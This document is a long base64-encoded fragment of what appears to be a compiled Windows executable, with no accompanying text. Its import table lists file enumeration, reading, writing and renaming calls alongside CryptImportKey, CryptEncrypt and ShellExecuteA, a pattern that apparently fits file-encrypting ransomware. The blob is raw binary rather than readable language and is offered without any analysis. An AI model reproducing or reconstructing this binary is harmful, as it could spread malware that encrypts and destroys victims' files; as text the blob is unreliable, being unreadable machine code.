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//pjbP+/42N3M7//+nis/7/jY3Ezv//6dez/v+NjfTO///pzLP+/42NDM///+nBs/7/jY0kz///6baz/v+NjTzP///pq7P+/42NVM///+mgs/7/jY1sz///6ZWz/v+NjYTP///pirP+/42NnM///+l/s/7/jY3Az///6XSz/v+NjazO///pCbP+/4tUJAiNQgyLiqzO//8zyOhxG///i0r8M8joZxv//7iIG0IA6XAt///MjU0I6diy/v+NjTD////pzbL+/42NSP///+nCsv7/jY1g////6bey/v+NjXj////prLL+/41NkOmksv7/jU2o6Zyy/v+NTcDplLL+/4tUJAiNQgyLijD///8zyOj8Gv//i0r8M8jo8hr//7hwHEIA6fss///MzMzMzMzMzMzMzMyNTQjpWLL+/4tUJAiNQgyLStQzyOjDGv//i0r8M8jouRr//7jYHEIA6cIs///MzMyLRfCD4AEPhAwAAACDZfD+i03g6Riy/v/Di1QkCI1CDItK3DPI6IIa//+4BB1CAOmLLP//zMzMzMzMzMzMzMzMi0Xwg+ABD4QMAAAAg2Xw/otN6OnYsf7/w4tUJAiNQgyLSuQzyOhCGv//uDAdQgDpSyz//8zMzMzMzMzMzMzMzI1NIOmosf7/jU0I6aCx/v+NTZDpmLH+/42NeP///+mNsf7/jU3A6YWx/v+NjeT8///perH+/4uNGP3//+lvsf7/jY38/P//6WSx/v+NTdjpvLH+/42N5Pz//+lRsf7/jU2o6amx/v+LVCQIjUIMi4rc/P//M8josRn//4tK/DPI6KcZ//+4YB1CAOmwK///zI2NKP///+nV6f7/jY0w////6crp/v+NjTj////pv+n+/42NQP///+m06f7/jY1I////6anp/v+NjVD////pnun+/42NWP///+mT6f7/jY1g////6Yjp/v+NjWj////pfen+/42NcP///+ly6f7/jY14////6Wfp/v+NTYDpX+n+/41NiOlX6f7/jU2Q6U/p/v+NTZjpR+n+/41NoOk/6f7/jU2o6Tfp/v+NTbDpL+n+/41NuOkn6f7/jU3A6R/p/v+NTcjpF+n+/41N0OkP6f7/jU3Y6Qfp/v+NTeDp/+j+/41N6On36P7/jY0g////6ezo/v+LVCQIjUIMi4oo////M8jolBj//4tK/DPI6IoY/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gWTGQEAAAC0IEIAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAALwmQQAAAAAA8CBCAAQAAAAEIUIAICFCAGQgQgC0H0IAAAAAAOAaQAAAAAAA/////wAAAAAUAAAANiZBAAAAAAAAG0AAAAAAAP////8AAAAAFAAAAOQlQQAAAAAA/v///wAAAADY////AAAAAP7///+0MEEAxzBBAAAAAAD+////AAAAAMz///8AAAAA/v///1YzQQBqM0EAAAAAAG42QQAAAAAAjCFCAAMAAACcIUIAmB9CALQfQgAAAAAAiBtAAAAAAAD/////AAAAAAwAAAA7NkEA/v///wAAAADY////AAAAAP7///9lQUEAnEFBAAAAAAD+////AAAAAND///8AAAAA/v///wAAAAArX0EAAAAAAOJeQQDsXkEA/v///wAAAACk////AAAAAP7///8AAAAAQl1BAAAAAACMXEEAllxBAEAAAAAAAAAAAAAAAORdQQD/////AAAAAP////8AAAAAAAAAAAAAAAABAAAAAQAAACgiQgAiBZMZAgAAADgiQgABAAAASCJCAAAAAAAAAAAAAAAAAAEAAAD+////AAAAAND///8AAAAA/v///9FTQQDVU0EAAAAAAP7///8AAAAA2P///wAAAAD+////flRBAIJUQQAAAAAAo1tBAAAAAADMIkIAAgAAANgiQgC0H0IAAAAAALAbQAAAAAAA/////wAAAAAMAAAAcFtBAAAAAAD+////AAAAANT///8AAAAA/v///8BpQQDUaUEAAAAAAP7///8AAAAA2P///wAAAAD+////e2tBAH9rQQAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAaW5BAAAAAAD+////AAAAANj///8AAAAA/v///+hwQQD4cEEAAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAAZwQQAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAgHlBAAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAveUEAAAAAAP7///8AAAAA1P///wAAAAD+////AAAAALh/QQAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAEIJBAAAAAAD+////AAAAALT///8AAAAA/v///wAAAACygkEAAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAM6GQQAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAyodBAAAAAAD+////AAAAANj///8AAAAA/v///wAAAAAvh0EAAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAHqHQQAAAAAA/v///wAAAAC8////AAAAAP7///8AAAAAEJZBAAAAAAD+////AAAAANT///8AAAAA/v///wAAAADGk0EAAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAA6XQQAAAAAA/v///wAAAADU////AAAAAP7///8AAAAADZlBAAAAAAD+////AAAAANT///8AAAAA/v///wAAAABdqEEAAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAJ6jQQAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAZrNBAAAAAAD+////AAAAANT///8AAAAA/v///wAAAACpu0EAAAAAAP7///8AAAAA1P///wAAAAD+////AAAAABXEQQAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA4cxBAAAAAAD+////AAAAAND///8AAAAA/v///wAAAABl3UEAAAAAAP7///8AAAAA2P///wAAAAD+////SOlBAGTpQQAAAAAA/v///wAAAADU////AAAAAP7///8AAAAANvFBAAAAAAD+////AAAAANj///8AAAAA/v///6kKQgC8CkIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzEQCAN5EAgDuRAIAtkQCAAAAAAAwRQIASEUCAAAAAAD6QwIADEQCABpEAgAiRAIAMEQCADxEAgBMRAIA7kMCAG5EAgCARAIAkEQCAJxEAgAmSgIA2EMCAMhDAgCyQwIApEMCAI5DAgAWSgIAfkMCAGJEAgBoQwIAbEUCAIJFAgCaRQIArEUCAMBFAgDYRQIA8EUCAAhGAgAiRgIAMkYCAFpGAgBmRgIAdEYCAIJGAgCMRgIApkYCALpGAgDMRgIA6EYCAAZHAgAaRwIALkcCAEpHAgBeRwIAcEcCAIZHAgCcRwIAqEcCALhHAgDIRwIA3EcCAO5HAgD8RwIAGEgCACpIAgA2SAIASEgCAF5IAgBsSAIAfEgCAI5IAgCgSAIAskgCAMJIAgDOSAIA2kgCAOhIAgD8SAIAEEkCACJJAgAsSQIAOEkCAERJAgBeSQIAeEkCAJJJAgCkSQIAtEkCAMZJAgDaSQIA6kkCAPxJAgAISgIAAAAAABRFAgAAAAAAcjRBAAhCAgAAAAAAAAAAAKhEAgAgQAIA6EECAAAAAAAAAAAABkUCAABAAgBgQwIAAAAAAAAAAAAkRQIAeEECAPxBAgAAAAAAAAAAAGBFAgAUQAIAAAAAAAAAAAAAAAAAAAAAAAAAAADMRAIA3kQCAO5EAgC2RAIAAAAAADBFAgBIRQIAAAAAAPpDAgAMRAIAGkQCACJEAgAwRAIAPEQCAExEAgDuQwIAbkQCAIBEAgCQRAIAnEQCACZKAgDYQwIAyEMCALJDAgCkQwIAjkMCABZKAgB+QwIAYkQCAGhDAgBsRQIAgkUCAJpFAgCsRQIAwEUCANhFAgDwRQIACEYCACJGAgAyRgIAWkYCAGZGAgB0RgIAgkYCAIxGAgCmRgIAukYCAMxGAgDoRgIABkcCABpHAgAuRwIASkcCAF5HAgBwRwIAhkcCAJxHAgCoRwIAuEcCAMhHAgDcRwIA7kcCAPxHAgAYSAIAKkgCADZIAgBISAIAXkgCAGxIAgB8SAIAjkgCAKBIAgCySAIAwkgCAM5IAgDaSAIA6EgCAPxIAgAQSQIAIkkCACxJAgA4SQIAREkCAF5JAgB4SQIAkkkCAKRJAgC0SQIAxkkCANpJAgDqSQIA/EkCAAhKAgAAAAAAFEUCAAAAAAB0AkdldE1vZHVsZUZpbGVOYW1lVwAA1wBDcmVhdGVNdXRleEEAANcFV2FpdEZvclNpbmdsZU9iamVjdABfAUV4aXRUaHJlYWQAAO8DTXVsdGlCeXRlVG9XaWRlQ2hhcgBhAkdldExhc3RFcnJvcgAA/gVXaWRlQ2hhclRvTXVsdGlCeXRlABIGV3JpdGVGaWxlACIFU2V0RmlsZVBvaW50ZXIAAMsAQ3JlYXRlRmlsZVcAfQVTbGVlcACGAENsb3NlSGFuZGxlAHMEUmVhZEZpbGUAAEwCR2V0RmlsZVNpemVFeABFAkdldEZpbGVBdHRyaWJ1dGVzVwAA6wNNb3ZlRmlsZVcAgAFGaW5kRmlyc3RGaWxlVwAAjAFGaW5kTmV4dEZpbGVXAHUBRmluZENsb3NlADMGbHN0cmNtcGlXAEtFUk5FTDMyLmRsbAAA3ABDcnlwdFJlbGVhc2VDb250ZXh0ANsAQ3J5cHRJbXBvcnRLZXkAAMsAQ3J5cHRFbmNyeXB0AADBAENyeXB0QWNxdWlyZUNvbnRleHRBAABBRFZBUEkzMi5kbGwAALIBU2hlbGxFeGVjdXRlQQBTSEVMTDMyLmRsbADjAENyeXB0U3RyaW5nVG9CaW5hcnlBAAB+AENyeXB0QmluYXJ5VG9TdHJpbmdBAABDUllQVDMyLmRsbAAcAkdldEN1cnJlbnRUaHJlYWRJZAAA2AVXYWl0Rm9yU2luZ2xlT2JqZWN0RXgAhwVTd2l0Y2hUb1RocmVhZAAAPQJHZXRFeGl0Q29kZVRocmVhZAAxAUVudGVyQ3JpdGljYWxTZWN0aW9uAAC9A0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAQAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgBNBFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyADIFU2V0TGFzdEVycm9yAABfA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAngVUbHNBbGxvYwAAoAVUbHNHZXRWYWx1ZQChBVRsc1NldFZhbHVlAJ8FVGxzRnJlZQDpAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAHgCR2V0TW9kdWxlSGFuZGxlVwAArgJHZXRQcm9jQWRkcmVzcwAArQVVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAG0FU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyABcCR2V0Q3VycmVudFByb2Nlc3MAjAVUZXJtaW5hdGVQcm9jZXNzAACGA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAfwNJc0RlYnVnZ2VyUHJlc2VudADQAkdldFN0YXJ0dXBJbmZvVwAYAkdldEN1cnJlbnRQcm9jZXNzSWQAYwNJbml0aWFsaXplU0xpc3RIZWFkABYFU2V0RXZlbnQAAPMAQ3JlYXRlVGhyZWFkAAAtAUVuY29kZVBvaW50ZXIAGwJHZXRDdXJyZW50VGhyZWFkAAAFA0dldFRocmVhZFRpbWVzAACrAUZyZWVMaWJyYXJ5AKwBRnJlZUxpYnJhcnlBbmRFeGl0VGhyZWFkAADDA0xvYWRMaWJyYXJ5RXhXAADTBFJ0bFVud2luZABiBFJhaXNlRXhjZXB0aW9uAAB3AkdldE1vZHVsZUhhbmRsZUV4VwAAXgFFeGl0UHJvY2VzcwDSAkdldFN0ZEhhbmRsZQAA1gFHZXRDb21tYW5kTGluZUEA1wFHZXRDb21tYW5kTGluZVcAmwBDb21wYXJlU3RyaW5nVwAAsQNMQ01hcFN0cmluZ1cAAEUDSGVhcEFsbG9jAEkDSGVhcEZyZWUAAE4CR2V0RmlsZVR5cGUAIwVTZXRGaWxlUG9pbnRlckV4AAB7AUZpbmRGaXJzdEZpbGVFeFcAAIsDSXNWYWxpZENvZGVQYWdlALIBR2V0QUNQAACXAkdldE9FTUNQAADBAUdldENQSW5mbwA3AkdldEVudmlyb25tZW50U3RyaW5nc1cAAKoBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAFAVTZXRFbnZpcm9ubWVudFZhcmlhYmxlVwC0AkdldFByb2Nlc3NIZWFwAABKBVNldFN0ZEhhbmRsZQAA1wJHZXRTdHJpbmdUeXBlVwAAnwFGbHVzaEZpbGVCdWZmZXJzAADqAUdldENvbnNvbGVDUAAA/AFHZXRDb25zb2xlTW9kZQAATgNIZWFwU2l6ZQAATANIZWFwUmVBbGxvYwAJAURlY29kZVBvaW50ZXIAEQZXcml0ZUNvbnNvbGVXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAPgAAAAEMAgwDDAQMBQwGDAcMCAwJDAoMCwwMDA0MEAwRDBIMEwwUDBUMGAwZDBoMGww5DDoMOww8DD0MPgw/DAAMQQxCDEMMRA3QDdQN2A3cDeAN5g3pDeoN6w3yDfMN9g33DfgN+Q36DfsN/A39Df4N/w3CDgMOBA4FDgYOBw4IDgkOCg6RDpgOoA6oDrAOuA6ADsgO0Q7cDuIO7A70DvUO9g78Dv0O/g7DDwQPBQ8GDwcPCA8JDwoPCw8MDw0PDg8PDxAPEQ8SDxMPFA8VDwcPSA9JD0sPTA9ND04PTw9QD1EPUg9TD1QPdw/5D/sP/Q//D8AIAAAIAEAAAQwDDAUMBwwJDAsMDQwPDBEMEwwVDBcMGQwbDB0MHwwhDCMMJQwnDCkMKwwtDC8MMQwzDDUMNww5DDsMPQw/DAEMQwxFDEcMSQxLDE0MTwxRDFMMVQxXDFkMWwxdDF8MYQxjDGUMZwxpDGsMbQxvDHEMcwx1DHcMeQx7DH0MfwxBDIMMhQyHDIkMiwyNDI8MkQyYDtkO2g7bDtwO3Q7eDvgPgQ/CD8MPyA/JD8oPyw/MD80Pzg/PD9AP0Q/SD9MP1A/VD9YP1w/YD9kP2g/bD9wP3Q/eD98P4A/hD+IP4w/kD+UP5g/nD+gP6Q/qD+sP7A/tD+4P7w/wD/EP8g/zD/QP9Q/2D/cP+A/5D/oP+w/8D/0P/g//D8AMAAAyAAAAAAwBDAIMAwwEDAUMBgwHDAgMCQwKDAsMDAwNDA4MDwwQDBEMEgwTDBQMFQwWDBcMGAwZDBoMGwwcDB0MHgwfDCAMIQwiDCMMJAwlDCYMJwwoDCkMKgwrDCwMLQwuDC8MMg2zDbQNmA4aDhwOHQ4eDh8OIA4hDiIOIw4lDiYOJw4oDikOKg4rDiwOLw4xDjMONA41DjYONw4UDpUOlg6XDpgOmQ6aDpsOnA6dDp4Onw6gDqEOog6jDqQOpQ6mDqcOgBAAABEAQAA5DDoMOww8DAoMSwxMDE0MTgxPDFAMUQxSDFMMVAxVDFYMVwxYDFkMWgxbDFwMXQxeDF8MYAxhDGIMYwxkDGUMZgxnDGgMaQxqDGsMbAxtDG4MbwxwDHEMcgxzDHQMdwx4DHkMegx7DHwMfQx+DH8MQAyBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI4MjwyQDJEMkgyTDJQMlQyWDJcMmAyZDJoMmwycDJ0MngyfDKAMoQyiDI6PT49Qj1GPQw+FD4cPiQ+LD40Pjw+RD5MPlQ+XD5kPmw+dD58PoQ+jD6UPpw+pD6sPrQ+vD7EPsw+1D7cPuQ+7D70Pvw+BD8MPxQ/HD8kPyw/ND88P0Q/TD9UP1w/ZD9sP3Q/fD+EP4w/lD+cP6Q/rD+0P7w/xD/MP9Q/3D/kP+w/9D/8PwBQAACIAQAABDAMMBQwHDAkMCwwNDA8MEQwTDBUMFwwZDBsMHQwfDCEMIwwlDCcMKQwrDC0MLwwxDDMMNQw3DDkMOww9DD8MAQxDDEUMRwxJDEsMTQxPDFEMUwxVDFcMWQxbDF0MXwxhDGMMZQxnDGkMawxtDG8McQxzDHUMdwx5DHsMfQx/DEEMgwyFDIcMiQyLDI0MjwyRDJMMlQyXDJkMmwydDJ8MoQyjDKUMpwypDKsMrQyvDLEMswy1DLcMuQy7DL0MvwyBDMMMxQzHDMkMywzNDM8M0QzTDNUM1wzZDNsM3QzfDOEM4wzlDOcM6QzrDO0M7wzxDPMM9Qz3DPkM+wz9DP8MwQ0DDQUNBw0JDQsNDQ0PDRENEw0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1KD8wPzg/QD9IP1A/WD9gP2g/cD94P4A/iD+QP5g/oD+oP7A/uD/AP8g/0D/YP+A/6D/wP/g/AGAAAJwBAAAAMAgwEDAYMCAwKDAwMDgwQDBIMFAwWDBgMGgwcDB4MIAwiDCQMJgwoDCoMLAwuDDAMMgw0DDYMOAw6DDwMPgwADEIMRAxGDEgMSgxMDE4MUAxSDFQMVgxYDFoMXAxeDGAMYgxkDGYMaAxqDGwMbgxwDHIMdAx2DHgMegx8DH4MQAyCDIQMhgyIDIoMjAyODJAMkgyUDJYMmAyaDJwMngygDKIMpAymDKgMqgysDK4MsAyyDLQMtgy4DLoMvAy+DI